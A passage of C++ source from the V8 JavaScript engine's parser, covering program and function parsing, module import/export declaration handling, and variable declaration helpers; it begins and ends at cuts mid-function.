mode_(PARSE_EAGERLY), // Lazy mode must be set explicitly. source_range_map_(info->source_range_map()), target_stack_(nullptr), total_preparse_skipped_(0), consumed_preparse_data_(info->consumed_preparse_data()), preparse_data_buffer_(), parameters_end_pos_(info->parameters_end_pos()) { // Even though we were passed ParseInfo, we should not store it in // Parser - this makes sure that Isolate is not accidentally accessed via // ParseInfo during background parsing. DCHECK_NOT_NULL(info->character_stream()); // Determine if functions can be lazily compiled. This is necessary to // allow some of our builtin JS files to be lazily compiled. These // builtins cannot be handled lazily by the parser, since we have to know // if a function uses the special natives syntax, which is something the // parser records. // If the debugger requests compilation for break points, we cannot be // aggressive about lazy compilation, because it might trigger compilation // of functions without an outer context when setting a breakpoint through // Debug::FindSharedFunctionInfoInScript // We also compile eagerly for kProduceExhaustiveCodeCache. bool can_compile_lazily = info->allow_lazy_compile() && !info->is_eager(); set_default_eager_compile_hint(can_compile_lazily ? FunctionLiteral::kShouldLazyCompile : FunctionLiteral::kShouldEagerCompile); allow_lazy_ = info->allow_lazy_compile() && info->allow_lazy_parsing() && !info->is_native() && info->extension() == nullptr && can_compile_lazily; set_allow_natives(info->allow_natives_syntax() || info->is_native()); set_allow_harmony_public_fields(info->allow_harmony_public_fields()); set_allow_harmony_static_fields(info->allow_harmony_static_fields()); set_allow_harmony_dynamic_import(info->allow_harmony_dynamic_import()); set_allow_harmony_import_meta(info->allow_harmony_import_meta()); set_allow_harmony_numeric_separator(info->allow_harmony_numeric_separator()); set_allow_harmony_private_fields(info->allow_harmony_private_fields()); set_allow_harmony_private_methods(info->allow_harmony_private_methods()); for (int feature = 0; feature < v8::Isolate::kUseCounterFeatureCount; ++feature) { use_counts_[feature] = 0; } } void Parser::InitializeEmptyScopeChain(ParseInfo* info) { DCHECK_NULL(original_scope_); DCHECK_NULL(info->script_scope()); DeclarationScope* script_scope = NewScriptScope(); info->set_script_scope(script_scope); original_scope_ = script_scope; } void Parser::DeserializeScopeChain( Isolate* isolate, ParseInfo* info, MaybeHandle<ScopeInfo> maybe_outer_scope_info, Scope::DeserializationMode mode) { InitializeEmptyScopeChain(info); Handle<ScopeInfo> outer_scope_info; if (maybe_outer_scope_info.ToHandle(&outer_scope_info)) { DCHECK(ThreadId::Current().Equals(isolate->thread_id())); original_scope_ = Scope::DeserializeScopeChain( isolate, zone(), *outer_scope_info, info->script_scope(), ast_value_factory(), mode); } } namespace { void MaybeResetCharacterStream(ParseInfo* info, FunctionLiteral* literal) { // Don't reset the character stream if there is an asm.js module since it will // be used again by the asm-parser. if (info->contains_asm_module()) { if (FLAG_stress_validate_asm) return; if (literal != nullptr && literal->scope()->ContainsAsmModule()) return; } info->ResetCharacterStream(); } void MaybeProcessSourceRanges(ParseInfo* parse_info, Expression* root, uintptr_t stack_limit_) { if (root != nullptr && parse_info->source_range_map() != nullptr) { SourceRangeAstVisitor visitor(stack_limit_, root, parse_info->source_range_map()); visitor.Run(); } } } // namespace FunctionLiteral* Parser::ParseProgram(Isolate* isolate, ParseInfo* info) { // TODO(bmeurer): We temporarily need to pass allow_nesting = true here, // see comment for HistogramTimerScope class. // It's OK to use the Isolate & counters here, since this function is only // called in the main thread. DCHECK(parsing_on_main_thread_); RuntimeCallTimerScope runtime_timer( runtime_call_stats_, info->is_eval() ? RuntimeCallCounterId::kParseEval : RuntimeCallCounterId::kParseProgram); TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"), "V8.ParseProgram"); base::ElapsedTimer timer; if (V8_UNLIKELY(FLAG_log_function_events)) timer.Start(); // Initialize parser state. DeserializeScopeChain(isolate, info, info->maybe_outer_scope_info(), Scope::DeserializationMode::kIncludingVariables); scanner_.Initialize(); if (FLAG_harmony_hashbang && !info->is_eval()) { scanner_.SkipHashBang(); } FunctionLiteral* result = DoParseProgram(isolate, info); MaybeResetCharacterStream(info, result); MaybeProcessSourceRanges(info, result, stack_limit_); HandleSourceURLComments(isolate, info->script()); if (V8_UNLIKELY(FLAG_log_function_events) && result != nullptr) { double ms = timer.Elapsed().InMillisecondsF(); const char* event_name = "parse-eval"; Script script = *info->script(); int start = -1; int end = -1; if (!info->is_eval()) { event_name = "parse-script"; start = 0; end = String::cast(script->source())->length(); } LOG(isolate, FunctionEvent(event_name, script->id(), ms, start, end, "", 0)); } return result; } FunctionLiteral* Parser::DoParseProgram(Isolate* isolate, ParseInfo* info) { // Note that this function can be called from the main thread or from a // background thread. We should not access anything Isolate / heap dependent // via ParseInfo, and also not pass it forward. If not on the main thread // isolate will be nullptr. DCHECK_EQ(parsing_on_main_thread_, isolate != nullptr); DCHECK_NULL(scope_); DCHECK_NULL(target_stack_); ParsingModeScope mode(this, allow_lazy_ ? PARSE_LAZILY : PARSE_EAGERLY); ResetFunctionLiteralId(); DCHECK(info->function_literal_id() == FunctionLiteral::kIdTypeTopLevel || info->function_literal_id() == FunctionLiteral::kIdTypeInvalid); FunctionLiteral* result = nullptr; { Scope* outer = original_scope_; DCHECK_NOT_NULL(outer); if (info->is_eval()) { outer = NewEvalScope(outer); } else if (parsing_module_) { DCHECK_EQ(outer, info->script_scope()); outer = NewModuleScope(info->script_scope()); } DeclarationScope* scope = outer->AsDeclarationScope(); scope->set_start_position(0); FunctionState function_state(&function_state_, &scope_, scope); ScopedPtrList<Statement> body(pointer_buffer()); int beg_pos = scanner()->location().beg_pos; if (parsing_module_) { DCHECK(info->is_module()); // Declare the special module parameter. auto name = ast_value_factory()->empty_string(); bool is_rest = false; bool is_optional = false; VariableMode mode = VariableMode::kVar; bool was_added; scope->DeclareLocal(name, mode, PARAMETER_VARIABLE, &was_added, Variable::DefaultInitializationFlag(mode)); DCHECK(was_added); auto var = scope->DeclareParameter(name, VariableMode::kVar, is_optional, is_rest, ast_value_factory(), beg_pos); var->AllocateTo(VariableLocation::PARAMETER, 0); PrepareGeneratorVariables(); Expression* initial_yield = BuildInitialYield(kNoSourcePosition, kGeneratorFunction); body.Add( factory()->NewExpressionStatement(initial_yield, kNoSourcePosition)); ParseModuleItemList(&body); if (!has_error() && !module()->Validate(this->scope()->AsModuleScope(), pending_error_handler(), zone())) { scanner()->set_parser_error(); } } else if (info->is_wrapped_as_function()) { ParseWrapped(isolate, info, &body, scope, zone()); } else { // Don't count the mode in the use counters--give the program a chance // to enable script-wide strict mode below. this->scope()->SetLanguageMode(info->language_mode()); ParseStatementList(&body, Token::EOS); } // The parser will peek but not consume EOS. Our scope logically goes all // the way to the EOS, though. scope->set_end_position(peek_position()); if (is_strict(language_mode())) { CheckStrictOctalLiteral(beg_pos, end_position()); } if (is_sloppy(language_mode())) { // TODO(littledan): Function bindings on the global object that modify // pre-existing bindings should be made writable, enumerable and // nonconfigurable if possible, whereas this code will leave attributes // unchanged if the property already exists. InsertSloppyBlockFunctionVarBindings(scope); } // Internalize the ast strings in the case of eval so we can check for // conflicting var declarations with outer scope-info-backed scopes. if (info->is_eval()) { DCHECK(parsing_on_main_thread_); info->ast_value_factory()->Internalize(isolate); } CheckConflictingVarDeclarations(scope); if (info->parse_restriction() == ONLY_SINGLE_FUNCTION_LITERAL) { if (body.length() != 1 || !body.at(0)->IsExpressionStatement() || !body.at(0) ->AsExpressionStatement() ->expression() ->IsFunctionLiteral()) { ReportMessage(MessageTemplate::kSingleFunctionLiteral); } } int parameter_count = parsing_module_ ? 1 : 0; result = factory()->NewScriptOrEvalFunctionLiteral( scope, body, function_state.expected_property_count(), parameter_count); result->set_suspend_count(function_state.suspend_count()); } info->set_max_function_literal_id(GetLastFunctionLiteralId()); // Make sure the target stack is empty. DCHECK_NULL(target_stack_); if (has_error()) return nullptr; return result; } ZonePtrList<const AstRawString>* Parser::PrepareWrappedArguments( Isolate* isolate, ParseInfo* info, Zone* zone) { DCHECK(parsing_on_main_thread_); DCHECK_NOT_NULL(isolate); Handle<FixedArray> arguments(info->script()->wrapped_arguments(), isolate); int arguments_length = arguments->length(); ZonePtrList<const AstRawString>* arguments_for_wrapped_function = new (zone) ZonePtrList<const AstRawString>(arguments_length, zone); for (int i = 0; i < arguments_length; i++) { const AstRawString* argument_string = ast_value_factory()->GetString( Handle<String>(String::cast(arguments->get(i)), isolate)); arguments_for_wrapped_function->Add(argument_string, zone); } return arguments_for_wrapped_function; } void Parser::ParseWrapped(Isolate* isolate, ParseInfo* info, ScopedPtrList<Statement>* body, DeclarationScope* outer_scope, Zone* zone) { DCHECK_EQ(parsing_on_main_thread_, isolate != nullptr); DCHECK(info->is_wrapped_as_function()); ParsingModeScope parsing_mode(this, PARSE_EAGERLY); // Set function and block state for the outer eval scope. DCHECK(outer_scope->is_eval_scope()); FunctionState function_state(&function_state_, &scope_, outer_scope); const AstRawString* function_name = nullptr; Scanner::Location location(0, 0); ZonePtrList<const AstRawString>* arguments_for_wrapped_function = PrepareWrappedArguments(isolate, info, zone); FunctionLiteral* function_literal = ParseFunctionLiteral( function_name, location, kSkipFunctionNameCheck, kNormalFunction, kNoSourcePosition, FunctionLiteral::kWrapped, LanguageMode::kSloppy, arguments_for_wrapped_function); Statement* return_statement = factory()->NewReturnStatement( function_literal, kNoSourcePosition, kNoSourcePosition); body->Add(return_statement); } FunctionLiteral* Parser::ParseFunction(Isolate* isolate, ParseInfo* info, Handle<SharedFunctionInfo> shared_info) { // It's OK to use the Isolate & counters here, since this function is only // called in the main thread. DCHECK(parsing_on_main_thread_); RuntimeCallTimerScope runtime_timer(runtime_call_stats_, RuntimeCallCounterId::kParseFunction); TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"), "V8.ParseFunction"); base::ElapsedTimer timer; if (V8_UNLIKELY(FLAG_log_function_events)) timer.Start(); DeserializeScopeChain(isolate, info, info->maybe_outer_scope_info(), Scope::DeserializationMode::kIncludingVariables); DCHECK_EQ(factory()->zone(), info->zone()); // Initialize parser state. Handle<String> name(shared_info->Name(), isolate); info->set_function_name(ast_value_factory()->GetString(name)); scanner_.Initialize(); FunctionLiteral* result = DoParseFunction(isolate, info, info->function_name()); MaybeResetCharacterStream(info, result); MaybeProcessSourceRanges(info, result, stack_limit_); if (result != nullptr) { Handle<String> inferred_name(shared_info->inferred_name(), isolate); result->set_inferred_name(inferred_name); } if (V8_UNLIKELY(FLAG_log_function_events) && result != nullptr) { double ms = timer.Elapsed().InMillisecondsF(); // We need to make sure that the debug-name is available. ast_value_factory()->Internalize(isolate); DeclarationScope* function_scope = result->scope(); std::unique_ptr<char[]> function_name = result->GetDebugName(); LOG(isolate, FunctionEvent("parse-function", info->script()->id(), ms, function_scope->start_position(), function_scope->end_position(), function_name.get(), strlen(function_name.get()))); } return result; } static FunctionLiteral::FunctionType ComputeFunctionType(ParseInfo* info) { if (info->is_wrapped_as_function()) { return FunctionLiteral::kWrapped; } else if (info->is_declaration()) { return FunctionLiteral::kDeclaration; } else if (info->is_named_expression()) { return FunctionLiteral::kNamedExpression; } else if (IsConciseMethod(info->function_kind()) || IsAccessorFunction(info->function_kind())) { return FunctionLiteral::kAccessorOrMethod; } return FunctionLiteral::kAnonymousExpression; } FunctionLiteral* Parser::DoParseFunction(Isolate* isolate, ParseInfo* info, const AstRawString* raw_name) { DCHECK_EQ(parsing_on_main_thread_, isolate != nullptr); DCHECK_NOT_NULL(raw_name); DCHECK_NULL(scope_); DCHECK_NULL(target_stack_); DCHECK(ast_value_factory()); fni_.PushEnclosingName(raw_name); ResetFunctionLiteralId(); DCHECK_LT(0, info->function_literal_id()); SkipFunctionLiterals(info->function_literal_id() - 1); ParsingModeScope parsing_mode(this, PARSE_EAGERLY); // Place holder for the result. FunctionLiteral* result = nullptr; { // Parse the function literal. Scope* outer = original_scope_; DeclarationScope* outer_function = outer->GetClosureScope(); DCHECK(outer); FunctionState function_state(&function_state_, &scope_, outer_function); BlockState block_state(&scope_, outer); DCHECK(is_sloppy(outer->language_mode()) || is_strict(info->language_mode())); FunctionLiteral::FunctionType function_type = ComputeFunctionType(info); FunctionKind kind = info->function_kind(); if (IsArrowFunction(kind)) { if (IsAsyncFunction(kind)) { DCHECK(!scanner()->HasLineTerminatorAfterNext()); if (!Check(Token::ASYNC)) { CHECK(stack_overflow()); return nullptr; } if (!(peek_any_identifier() || peek() == Token::LPAREN)) { CHECK(stack_overflow()); return nullptr; } } // TODO(adamk): We should construct this scope from the ScopeInfo. DeclarationScope* scope = NewFunctionScope(kind); scope->set_has_checked_syntax(true); // This bit only needs to be explicitly set because we're // not passing the ScopeInfo to the Scope constructor. SetLanguageMode(scope, info->language_mode()); scope->set_start_position(info->start_position()); ParserFormalParameters formals(scope); { ParameterDeclarationParsingScope formals_scope(this); // Parsing patterns as variable reference expression creates // NewUnresolved references in current scope. Enter arrow function // scope for formal parameter parsing. BlockState block_state(&scope_, scope); if (Check(Token::LPAREN)) { // '(' StrictFormalParameters ')' ParseFormalParameterList(&formals); Expect(Token::RPAREN); } else { // BindingIdentifier ParameterParsingScope scope(impl(), &formals); ParseFormalParameter(&formals); DeclareFormalParameters(&formals); } formals.duplicate_loc = formals_scope.duplicate_location(); } if (GetLastFunctionLiteralId() != info->function_literal_id() - 1) { if (has_error()) return nullptr; // If there were FunctionLiterals in the parameters, we need to // renumber them to shift down so the next function literal id for // the arrow function is the one requested. AstFunctionLiteralIdReindexer reindexer( stack_limit_, (info->function_literal_id() - 1) - GetLastFunctionLiteralId()); for (auto p : formals.params) { if (p->pattern != nullptr) reindexer.Reindex(p->pattern); if (p->initializer() != nullptr) { reindexer.Reindex(p->initializer()); } } ResetFunctionLiteralId(); SkipFunctionLiterals(info->function_literal_id() - 1); } Expression* expression = ParseArrowFunctionLiteral(formals); // Scanning must end at the same position that was recorded // previously. If not, parsing has been interrupted due to a stack // overflow, at which point the partially parsed arrow function // concise body happens to be a valid expression. This is a problem // only for arrow functions with single expression bodies, since there // is no end token such as "}" for normal functions. if (scanner()->location().end_pos == info->end_position()) { // The pre-parser saw an arrow function here, so the full parser // must produce a FunctionLiteral. DCHECK(expression->IsFunctionLiteral()); result = expression->AsFunctionLiteral(); } } else if (IsDefaultConstructor(kind)) { DCHECK_EQ(scope(), outer); result = DefaultConstructor(raw_name, IsDerivedConstructor(kind), info->start_position(), info->end_position()); } else { ZonePtrList<const AstRawString>* arguments_for_wrapped_function = info->is_wrapped_as_function() ? PrepareWrappedArguments(isolate, info, zone()) : nullptr; result = ParseFunctionLiteral( raw_name, Scanner::Location::invalid(), kSkipFunctionNameCheck, kind, kNoSourcePosition, function_type, info->language_mode(), arguments_for_wrapped_function); } if (has_error()) return nullptr; result->set_requires_instance_members_initializer( info->requires_instance_members_initializer()); if (info->is_oneshot_iife()) { result->mark_as_oneshot_iife(); } } // Make sure the target stack is empty. DCHECK_NULL(target_stack_); DCHECK_IMPLIES(result, info->function_literal_id() == result->function_literal_id()); return result; } Statement* Parser::ParseModuleItem() { // ecma262/#prod-ModuleItem // ModuleItem : // ImportDeclaration // ExportDeclaration // StatementListItem Token::Value next = peek(); if (next == Token::EXPORT) { return ParseExportDeclaration(); } if (next == Token::IMPORT) { // We must be careful not to parse a dynamic import expression as an import // declaration. Same for import.meta expressions. Token::Value peek_ahead = PeekAhead(); if ((!allow_harmony_dynamic_import() || peek_ahead != Token::LPAREN) && (!allow_harmony_import_meta() || peek_ahead != Token::PERIOD)) { ParseImportDeclaration(); return factory()->EmptyStatement(); } } return ParseStatementListItem(); } void Parser::ParseModuleItemList(ScopedPtrList<Statement>* body) { // ecma262/#prod-Module // Module : // ModuleBody? // // ecma262/#prod-ModuleItemList // ModuleBody : // ModuleItem* DCHECK(scope()->is_module_scope()); while (peek() != Token::EOS) { Statement* stat = ParseModuleItem(); if (stat == nullptr) return; if (stat->IsEmptyStatement()) continue; body->Add(stat); } } const AstRawString* Parser::ParseModuleSpecifier() { // ModuleSpecifier : // StringLiteral Expect(Token::STRING); return GetSymbol(); } ZoneChunkList<Parser::ExportClauseData>* Parser::ParseExportClause( Scanner::Location* reserved_loc) { // ExportClause : // '{' '}' // '{' ExportsList '}' // '{' ExportsList ',' '}' // // ExportsList : // ExportSpecifier // ExportsList ',' ExportSpecifier // // ExportSpecifier : // IdentifierName // IdentifierName 'as' IdentifierName ZoneChunkList<ExportClauseData>* export_data = new (zone()) ZoneChunkList<ExportClauseData>(zone()); Expect(Token::LBRACE); Token::Value name_tok; while ((name_tok = peek()) != Token::RBRACE) { // Keep track of the first reserved word encountered in case our // caller needs to report an error. if (!reserved_loc->IsValid() && !Token::IsValidIdentifier(name_tok, LanguageMode::kStrict, false, parsing_module_)) { *reserved_loc = scanner()->location(); } const AstRawString* local_name = ParsePropertyName(); const AstRawString* export_name = nullptr; Scanner::Location location = scanner()->location(); if (CheckContextualKeyword(ast_value_factory()->as_string())) { export_name = ParsePropertyName(); // Set the location to the whole "a as b" string, so that it makes sense // both for errors due to "a" and for errors due to "b". location.end_pos = scanner()->location().end_pos; } if (export_name == nullptr) { export_name = local_name; } export_data->push_back({export_name, local_name, location}); if (peek() == Token::RBRACE) break; if (V8_UNLIKELY(!Check(Token::COMMA))) { ReportUnexpectedToken(Next()); break; } } Expect(Token::RBRACE); return export_data; } ZonePtrList<const Parser::NamedImport>* Parser::ParseNamedImports(int pos) { // NamedImports : // '{' '}' // '{' ImportsList '}' // '{' ImportsList ',' '}' // // ImportsList : // ImportSpecifier // ImportsList ',' ImportSpecifier // // ImportSpecifier : // BindingIdentifier // IdentifierName 'as' BindingIdentifier Expect(Token::LBRACE); auto result = new (zone()) ZonePtrList<const NamedImport>(1, zone()); while (peek() != Token::RBRACE) { const AstRawString* import_name = ParsePropertyName(); const AstRawString* local_name = import_name; Scanner::Location location = scanner()->location(); // In the presence of 'as', the left-side of the 'as' can // be any IdentifierName. But without 'as', it must be a valid // BindingIdentifier. if (CheckContextualKeyword(ast_value_factory()->as_string())) { local_name = ParsePropertyName(); } if (!Token::IsValidIdentifier(scanner()->current_token(), LanguageMode::kStrict, false, parsing_module_)) { ReportMessage(MessageTemplate::kUnexpectedReserved); return nullptr; } else if (IsEvalOrArguments(local_name)) { ReportMessage(MessageTemplate::kStrictEvalArguments); return nullptr; } DeclareUnboundVariable(local_name, VariableMode::kConst, kNeedsInitialization, position()); NamedImport* import = new (zone()) NamedImport(import_name, local_name, location); result->Add(import, zone()); if (peek() == Token::RBRACE) break; Expect(Token::COMMA); } Expect(Token::RBRACE); return result; } void Parser::ParseImportDeclaration() { // ImportDeclaration : // 'import' ImportClause 'from' ModuleSpecifier ';' // 'import' ModuleSpecifier ';' // // ImportClause : // ImportedDefaultBinding // NameSpaceImport // NamedImports // ImportedDefaultBinding ',' NameSpaceImport // ImportedDefaultBinding ',' NamedImports // // NameSpaceImport : // '*' 'as' ImportedBinding int pos = peek_position(); Expect(Token::IMPORT); Token::Value tok = peek(); // 'import' ModuleSpecifier ';' if (tok == Token::STRING) { Scanner::Location specifier_loc = scanner()->peek_location(); const AstRawString* module_specifier = ParseModuleSpecifier(); ExpectSemicolon(); module()->AddEmptyImport(module_specifier, specifier_loc); return; } // Parse ImportedDefaultBinding if present. const AstRawString* import_default_binding = nullptr; Scanner::Location import_default_binding_loc; if (tok != Token::MUL && tok != Token::LBRACE) { import_default_binding = ParseNonRestrictedIdentifier(); import_default_binding_loc = scanner()->location(); DeclareUnboundVariable(import_default_binding, VariableMode::kConst, kNeedsInitialization, pos); } // Parse NameSpaceImport or NamedImports if present. const AstRawString* module_namespace_binding = nullptr; Scanner::Location module_namespace_binding_loc; const ZonePtrList<const NamedImport>* named_imports = nullptr; if (import_default_binding == nullptr || Check(Token::COMMA)) { switch (peek()) { case Token::MUL: { Consume(Token::MUL); ExpectContextualKeyword(ast_value_factory()->as_string()); module_namespace_binding = ParseNonRestrictedIdentifier(); module_namespace_binding_loc = scanner()->location(); DeclareUnboundVariable(module_namespace_binding, VariableMode::kConst, kCreatedInitialized, pos); break; } case Token::LBRACE: named_imports = ParseNamedImports(pos); break; default: ReportUnexpectedToken(scanner()->current_token()); return; } } ExpectContextualKeyword(ast_value_factory()->from_string()); Scanner::Location specifier_loc = scanner()->peek_location(); const AstRawString* module_specifier = ParseModuleSpecifier(); ExpectSemicolon(); // Now that we have all the information, we can make the appropriate // declarations. // TODO(neis): Would prefer to call DeclareVariable for each case below rather // than above and in ParseNamedImports, but then a possible error message // would point to the wrong location. Maybe have a DeclareAt version of // Declare that takes a location? if (module_namespace_binding != nullptr) { module()->AddStarImport(module_namespace_binding, module_specifier, module_namespace_binding_loc, specifier_loc, zone()); } if (import_default_binding != nullptr) { module()->AddImport(ast_value_factory()->default_string(), import_default_binding, module_specifier, import_default_binding_loc, specifier_loc, zone()); } if (named_imports != nullptr) { if (named_imports->length() == 0) { module()->AddEmptyImport(module_specifier, specifier_loc); } else { for (int i = 0; i < named_imports->length(); ++i) { const NamedImport* import = named_imports->at(i); module()->AddImport(import->import_name, import->local_name, module_specifier, import->location, specifier_loc, zone()); } } } } Statement* Parser::ParseExportDefault() { // Supports the following productions, starting after the 'default' token: // 'export' 'default' HoistableDeclaration // 'export' 'default' ClassDeclaration // 'export' 'default' AssignmentExpression[In] ';' Expect(Token::DEFAULT); Scanner::Location default_loc = scanner()->location(); ZonePtrList<const AstRawString> local_names(1, zone()); Statement* result = nullptr; switch (peek()) { case Token::FUNCTION: result = ParseHoistableDeclaration(&local_names, true); break; case Token::CLASS: Consume(Token::CLASS); result = ParseClassDeclaration(&local_names, true); break; case Token::ASYNC: if (PeekAhead() == Token::FUNCTION && !scanner()->HasLineTerminatorAfterNext()) { Consume(Token::ASYNC); result = ParseAsyncFunctionDeclaration(&local_names, true); break; } V8_FALLTHROUGH; default: { int pos = position(); AcceptINScope scope(this, true); Expression* value = ParseAssignmentExpression(); SetFunctionName(value, ast_value_factory()->default_string()); const AstRawString* local_name = ast_value_factory()->star_default_star_string(); local_names.Add(local_name, zone()); // It's fine to declare this as VariableMode::kConst because the user has // no way of writing to it. VariableProxy* proxy = DeclareBoundVariable(local_name, VariableMode::kConst, pos); proxy->var()->set_initializer_position(position()); Assignment* assignment = factory()->NewAssignment( Token::INIT, proxy, value, kNoSourcePosition); result = IgnoreCompletion( factory()->NewExpressionStatement(assignment, kNoSourcePosition)); ExpectSemicolon(); break; } } if (result != nullptr) { DCHECK_EQ(local_names.length(), 1); module()->AddExport(local_names.first(), ast_value_factory()->default_string(), default_loc, zone()); } return result; } const AstRawString* Parser::NextInternalNamespaceExportName() { const char* prefix = ".ns-export"; std::string s(prefix); s.append(std::to_string(number_of_named_namespace_exports_++)); return ast_value_factory()->GetOneByteString(s.c_str()); } void Parser::ParseExportStar() { int pos = position(); Consume(Token::MUL); if (!FLAG_harmony_namespace_exports || !PeekContextualKeyword(ast_value_factory()->as_string())) { // 'export' '*' 'from' ModuleSpecifier ';' Scanner::Location loc = scanner()->location(); ExpectContextualKeyword(ast_value_factory()->from_string()); Scanner::Location specifier_loc = scanner()->peek_location(); const AstRawString* module_specifier = ParseModuleSpecifier(); ExpectSemicolon(); module()->AddStarExport(module_specifier, loc, specifier_loc, zone()); return; } if (!FLAG_harmony_namespace_exports) return; // 'export' '*' 'as' IdentifierName 'from' ModuleSpecifier ';' // // Desugaring: // export * as x from "..."; // ~> // import * as .x from "..."; export {.x as x}; ExpectContextualKeyword(ast_value_factory()->as_string()); const AstRawString* export_name = ParsePropertyName(); Scanner::Location export_name_loc = scanner()->location(); const AstRawString* local_name = NextInternalNamespaceExportName(); Scanner::Location local_name_loc = Scanner::Location::invalid(); DeclareUnboundVariable(local_name, VariableMode::kConst, kCreatedInitialized, pos); ExpectContextualKeyword(ast_value_factory()->from_string()); Scanner::Location specifier_loc = scanner()->peek_location(); const AstRawString* module_specifier = ParseModuleSpecifier(); ExpectSemicolon(); module()->AddStarImport(local_name, module_specifier, local_name_loc, specifier_loc, zone()); module()->AddExport(local_name, export_name, export_name_loc, zone()); } Statement* Parser::ParseExportDeclaration() { // ExportDeclaration: // 'export' '*' 'from' ModuleSpecifier ';' // 'export' '*' 'as' IdentifierName 'from' ModuleSpecifier ';' // 'export' ExportClause ('from' ModuleSpecifier)? ';' // 'export' VariableStatement // 'export' Declaration // 'export' 'default' ... (handled in ParseExportDefault) Expect(Token::EXPORT); Statement* result = nullptr; ZonePtrList<const AstRawString> names(1, zone()); Scanner::Location loc = scanner()->peek_location(); switch (peek()) { case Token::DEFAULT: return ParseExportDefault(); case Token::MUL: ParseExportStar(); return factory()->EmptyStatement(); case Token::LBRACE: { // There are two cases here: // // 'export' ExportClause ';' // and // 'export' ExportClause FromClause ';' // // In the first case, the exported identifiers in ExportClause must // not be reserved words, while in the latter they may be. We // pass in a location that gets filled with the first reserved word // encountered, and then throw a SyntaxError if we are in the // non-FromClause case. Scanner::Location reserved_loc = Scanner::Location::invalid(); ZoneChunkList<ExportClauseData>* export_data = ParseExportClause(&reserved_loc); const AstRawString* module_specifier = nullptr; Scanner::Location specifier_loc; if (CheckContextualKeyword(ast_value_factory()->from_string())) { specifier_loc = scanner()->peek_location(); module_specifier = ParseModuleSpecifier(); } else if (reserved_loc.IsValid()) { // No FromClause, so reserved words are invalid in ExportClause. ReportMessageAt(reserved_loc, MessageTemplate::kUnexpectedReserved); return nullptr; } ExpectSemicolon(); if (module_specifier == nullptr) { for (const ExportClauseData& data : *export_data) { module()->AddExport(data.local_name, data.export_name, data.location, zone()); } } else if (export_data->is_empty()) { module()->AddEmptyImport(module_specifier, specifier_loc); } else { for (const ExportClauseData& data : *export_data) { module()->AddExport(data.local_name, data.export_name, module_specifier, data.location, specifier_loc, zone()); } } return factory()->EmptyStatement(); } case Token::FUNCTION: result = ParseHoistableDeclaration(&names, false); break; case Token::CLASS: Consume(Token::CLASS); result = ParseClassDeclaration(&names, false); break; case Token::VAR: case Token::LET: case Token::CONST: result = ParseVariableStatement(kStatementListItem, &names); break; case Token::ASYNC: Consume(Token::ASYNC); if (peek() == Token::FUNCTION && !scanner()->HasLineTerminatorBeforeNext()) { result = ParseAsyncFunctionDeclaration(&names, false); break; } V8_FALLTHROUGH; default: ReportUnexpectedToken(scanner()->current_token()); return nullptr; } loc.end_pos = scanner()->location().end_pos; ModuleDescriptor* descriptor = module(); for (int i = 0; i < names.length(); ++i) { descriptor->AddExport(names[i], names[i], loc, zone()); } return result; } void Parser::DeclareUnboundVariable(const AstRawString* name, VariableMode mode, InitializationFlag init, int pos) { bool was_added; Variable* var = DeclareVariable(name, NORMAL_VARIABLE, mode, init, scope(), &was_added, pos, end_position()); // The variable will be added to the declarations list, but since we are not // binding it to anything, we can simply ignore it here. USE(var); } VariableProxy* Parser::DeclareBoundVariable(const AstRawString* name, VariableMode mode, int pos) { DCHECK_NOT_NULL(name); VariableProxy* proxy = factory()->NewVariableProxy(name, NORMAL_VARIABLE, position()); bool was_added; Variable* var = DeclareVariable(name, NORMAL_VARIABLE, mode, Variable::DefaultInitializationFlag(mode), scope(), &was_added, pos, end_position()); proxy->BindTo(var); return proxy; } void Parser::DeclareAndBindVariable(VariableProxy* proxy, VariableKind kind, VariableMode mode, InitializationFlag init, Scope* scope, bool* was_added, int begin, int end) { Variable* var = DeclareVariable(proxy->raw_name(), kind, mode, init, scope, was_added, begin, end); proxy->BindTo(var); } Variable* Parser::DeclareVariable(const AstRawString* name, VariableKind kind, VariableMode mode, InitializationFlag init, Scope* scope, bool* was_added, int begin, int end) { Declaration* declaration; if (mode == VariableMode::kVar && !scope->is_declaration_scope()) { DCHECK(scope->is_block_scope() || scope->is_with_scope()); declaration = factory()->NewNestedVariableDeclaration(scope, begin); } else { declaration = factory()->NewVariableDeclaration(begin); } Declare(declaration, name, kind, mode, init, scope, was_added, begin, end); return declaration->var(); } void Parser::Declare(Declaration* declaration, const AstRawString* name, VariableKind variable_kind, VariableMode mode, InitializationFlag init, Scope* scope, bool* was_added, int var_begin_pos, int var_end_pos) { bool local_ok = true; bool sloppy_mode_block_scope_function_redefinition = false; scope->DeclareVariable( declaration, name, var_begin_pos, mode, variable_kind, init, was_added, &sloppy_mode_block_scope_function_redefinition, &local_ok); if (!local_ok) { // If we only have the start position of a proxy, we can't highlight the // whole variable name. Pretend its length is 1 so that we highlight at // least the first character. Scanner::Location loc(var_begin_pos, var_end_pos != kNoSourcePosition ? var_end_pos : var_begin_pos + 1); if (variable_kind == PARAMETER_VARIABLE) { ReportMessageAt(loc, MessageTemplate::kParamDupe); } else { ReportMessageAt(loc, MessageTemplate::kVarRedeclaration, declaration->var()->raw_name()); } } else if (sloppy_mode_block_scope_function_redefinition) { ++use_counts_[v8::Isolate::kSloppyModeBlockScopedFunctionRedefinition]; } } Statement* Parser::BuildInitializationBlock( DeclarationParsingResult* parsing_result) { ScopedPtrList<Statement> statements(pointer_buffer()); for (const auto& declaration : parsing_result->declarations) { if (!declaration.initializer) continue; InitializeVariables(&statements, parsing_result->descriptor.kind, &declaration); } return factory()->NewBlock(true, statements); } Statement* Parser::DeclareFunction(const AstRawString* variable_name, FunctionLiteral* function, VariableMode mode, VariableKind kind, int beg_pos, int end_pos, ZonePtrList<const AstRawString>* names) { Declaration* declaration = factory()->NewFunctionDeclaration(function, beg_pos); bool was_added; Declare(declaration, variable_name, kind, mode, kCreatedInitialized, scope(), &was_added, beg_pos); if (names) names->Add(variable_name, zone()); if (kind == SLOPPY_BLOCK_FUNCTION_VARIABLE) { Token::Value init = loop_nesting_depth() > 0 ? Token::ASSIGN : Token::INIT; SloppyBlockFunctionStatement* statement = factory()->NewSloppyBlockFunctionStatement(end_pos, declaration->var(), init); GetDeclarationScope()->DeclareSloppyBlockFunction(statement); return statement; } return factory()->EmptyStatement(); } Statement* Parser::DeclareClass(const AstRawString* variable_name, Expression* value, ZonePtrList<const AstRawString>* names, int class_token_pos, int end_pos) { VariableProxy* proxy = DeclareBoundVariable(variable_name, VariableMode::kLet, 